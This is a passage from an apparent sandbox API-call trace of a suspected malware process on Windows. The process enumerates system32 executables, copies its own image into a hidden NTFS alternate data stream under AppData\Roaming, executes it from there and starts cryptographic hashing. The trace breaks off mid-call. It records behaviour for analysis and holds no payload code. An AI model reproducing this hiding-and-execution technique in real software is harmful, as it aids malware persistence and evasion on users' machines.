ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="PnPUnattend.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8548a6ff, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8548a6ff, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xec6e52a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="PnPutil.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x881b634b, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x881b634b, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xec709c90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22c00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="poqexec.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84adee62, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x84adee62, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xec730d90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="powercfg.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0af919e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0af919e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0af919e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4e360, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="PresentationHost.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12d1a55, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12d1a55, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12d1a55, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2b200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="PresentationSettings.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e8c314, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e8c314, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e8c314, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="prevhost.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x358d5cdc, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x358d5cdc, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xec7ef470, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="print.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbece084d, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xbece084d, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xec8f9640, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="PrintBrmUi.exe", cAlternateFileName="")) returned 1 [0039.327] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc735d8b5, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xc735d8b5, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xecac1ef0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb6c00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="printfilterpipelinesvc.exe", cAlternateFileName="")) returned 1 [0039.327] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82819f6c, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x82819f6c, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xecac1ef0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="PrintIsolationHost.exe", cAlternateFileName="")) returned 1 [0039.327] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96daa1e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xa96daa1e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xecb5bbe0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="printui.exe", cAlternateFileName="")) returned 1 [0039.327] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936ee880, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x936ee880, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x937149e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="proquota.exe", cAlternateFileName="")) returned 1 [0039.327] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46066a74, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46066a74, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xed3af170, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb2e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="psr.exe", cAlternateFileName="")) returned 1 [0039.327] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2e0b627, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2e0b627, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2e31787, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="PushPrinterConnections.exe", cAlternateFileName="")) returned 1 [0039.327] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="qappsrv.exe", cAlternateFileName="")) returned 1 [0039.327] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b5dd62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b5dd62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b5dd62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="qprocess.exe", cAlternateFileName="")) returned 1 [0039.327] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b5dd62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b5dd62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b5dd62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="query.exe", cAlternateFileName="")) returned 1 [0039.327] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cdee020, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x6cdee020, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xed7673d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="quser.exe", cAlternateFileName="")) returned 1 [0039.327] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e275c42, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x6e275c42, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xed78e4d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="qwinsta.exe", cAlternateFileName="")) returned 1 [0039.327] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73750778, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x73750778, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xed7b55d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="rasautou.exe", cAlternateFileName="")) returned 1 [0039.327] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7742950d, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7742950d, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xed7d9fc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="rasdial.exe", cAlternateFileName="")) returned 1 [0039.327] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e0b0458, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1e0b0458, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xed84cbb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1ec00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="raserver.exe", cAlternateFileName="")) returned 1 [0039.327] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78aec5a2, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x78aec5a2, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xed873cb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="rasphone.exe", cAlternateFileName="")) returned 1 [0039.327] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2e7da47, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2e7da47, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2ea3ba8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x33800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="rdpclip.exe", cAlternateFileName="")) returned 1 [0039.327] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efb6e09, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1efb6e09, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xedad3b40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="rdrleakdiag.exe", cAlternateFileName="")) returned 1 [0039.327] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238c2b68, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x238c2b68, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xedb1f630, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="ReAgentc.exe", cAlternateFileName="")) returned 1 [0039.328] GetLastError () returned 0x12 [0039.328] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\*.exe", fInfoLevelId=0x1, lpFindFileData=0x119f9a8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f9a8) returned 0x2e8fc0 [0039.328] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.329] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\C:\\Windows\\system32\\ARP.EXE" (normalized: "c:\\windows\\system32\\c:\\windows\\system32\\arp.exe"), fInfoLevelId=0x0, lpFileInformation=0x119f8c4 | out: lpFileInformation=0x119f8c4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0x940000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x119fc20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x119f95c)) returned 0 [0039.329] GetLastError () returned 0x7b [0039.329] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0039.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d89e0 [0039.329] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d89e0) returned 1 [0039.329] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\R9C0HS~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\r9c0hs~1"), fInfoLevelId=0x0, lpFileInformation=0x119f8c4 | out: lpFileInformation=0x119f8c4*(dwFileAttributes=0x48, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x940000, ftLastAccessTime.dwLowDateTime=0x9d89e0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x119fc20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x119f95c)) returned 0 [0039.329] GetLastError () returned 0x2 [0039.329] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\R9C0HS~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\r9c0hs~1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x138 [0039.330] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x119f908, lpLastWriteTime=0x119f908) returned 1 [0039.330] WriteFile (in: hFile=0x138, lpBuffer=0x9d8a28*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x119f934, lpOverlapped=0x0 | out: lpBuffer=0x9d8a28*, lpNumberOfBytesWritten=0x119f934*=0x0, lpOverlapped=0x0) returned 1 [0039.330] NtClose (Handle=0x138) returned 0x0 [0039.330] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0039.330] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fbe8) returned 1 [0039.330] FindClose (in: hFindFile=0x2e8fc0 | out: hFindFile=0x2e8fc0) returned 1 [0039.330] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fc70) returned 1 [0039.330] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fcf8) returned 1 [0039.331] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x800) returned 0x9d5058 [0039.331] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x9d5058, nSize=0x200 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe")) returned 0x3a [0039.331] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fcf8 [0039.331] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe"), fInfoLevelId=0x0, lpFileInformation=0x119f8c4 | out: lpFileInformation=0x119f8c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d3f1b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xe2894000, ftLastWriteTime.dwHighDateTime=0x1d0aa22, nFileSizeHigh=0x0, nFileSizeLow=0x25000)) returned 1 [0039.331] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0039.331] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x119f908, lpLastWriteTime=0x119f908) returned 0 [0039.331] GetFileSize (in: hFile=0x154, lpFileSizeHigh=0x119f8f4 | out: lpFileSizeHigh=0x119f8f4*=0x0) returned 0x25000 [0039.331] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x119f900*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x119f900*=0) returned 0x0 [0039.331] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x25000) returned 0x9ee978 [0039.333] ReadFile (in: hFile=0x154, lpBuffer=0x9ee978, nNumberOfBytesToRead=0x25000, lpNumberOfBytesRead=0x119f934, lpOverlapped=0x0 | out: lpBuffer=0x9ee978*, lpNumberOfBytesRead=0x119f934*=0x25000, lpOverlapped=0x0) returned 1 [0039.334] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x25000) returned 0xa13980 [0039.336] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0039.336] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x25000) returned 0x9ee978 [0039.336] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8a28) returned 1 [0039.336] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa13980) returned 1 [0039.336] NtClose (Handle=0x154) returned 0x0 [0039.336] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fcf8) returned 1 [0039.336] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d5058) returned 1 [0039.336] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fcf8 [0039.336] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\R9C0HS~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\r9c0hs~1:bin"), fInfoLevelId=0x0, lpFileInformation=0x119f8c4 | out: lpFileInformation=0x119f8c4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0x940000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x119fc20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x119f95c)) returned 0 [0039.336] GetLastError () returned 0x2 [0039.336] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\R9C0HS~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\r9c0hs~1:bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x154 [0039.337] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x119f908, lpLastWriteTime=0x119f908) returned 1 [0039.337] WriteFile (in: hFile=0x154, lpBuffer=0x9ee978*, nNumberOfBytesToWrite=0x25000, lpNumberOfBytesWritten=0x119f934, lpOverlapped=0x0 | out: lpBuffer=0x9ee978*, lpNumberOfBytesWritten=0x119f934*=0x25000, lpOverlapped=0x0) returned 1 [0039.341] NtClose (Handle=0x154) returned 0x0 [0039.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fcf8) returned 1 [0039.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0039.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d4850) returned 1 [0039.343] CreateProcessAsUserW (in: hToken=0x124, lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\R9C0HS~1:bin", lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\R9C0HS~1:bin", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x119fc48*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x119fc38 | out: lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\R9C0HS~1:bin", lpProcessInformation=0x119fc38*(hProcess=0x138, hThread=0x154, dwProcessId=0x664, dwThreadId=0x34c)) returned 1 [0039.357] NtClose (Handle=0x154) returned 0x0 [0039.357] NtClose (Handle=0x124) returned 0x0 [0039.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fd80) returned 1 [0039.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8248) returned 1 [0039.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8170) returned 1 [0039.357] Wow64DisableWow64FsRedirection (in: OldValue=0x119fce8 | out: OldValue=0x119fce8*=0x1) returned 1 [0039.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fd80 [0039.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fcf8 [0039.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fc70 [0039.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fbe8 [0039.357] GetLogicalDrives () returned 0x4 [0039.357] GetDriveTypeW (lpRootPathName="C:") returned 0x3 [0039.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8170 [0039.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0039.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8248 [0039.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x9d8248, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0039.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8a28 [0039.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8248) returned 1 [0039.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0039.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8248 [0039.357] CryptAcquireContextW (in: phProv=0x119fc64, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119fc64*=0x2f97d0) returned 1 [0039.358] CryptCreateHash (in: hProv=0x2f97d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, 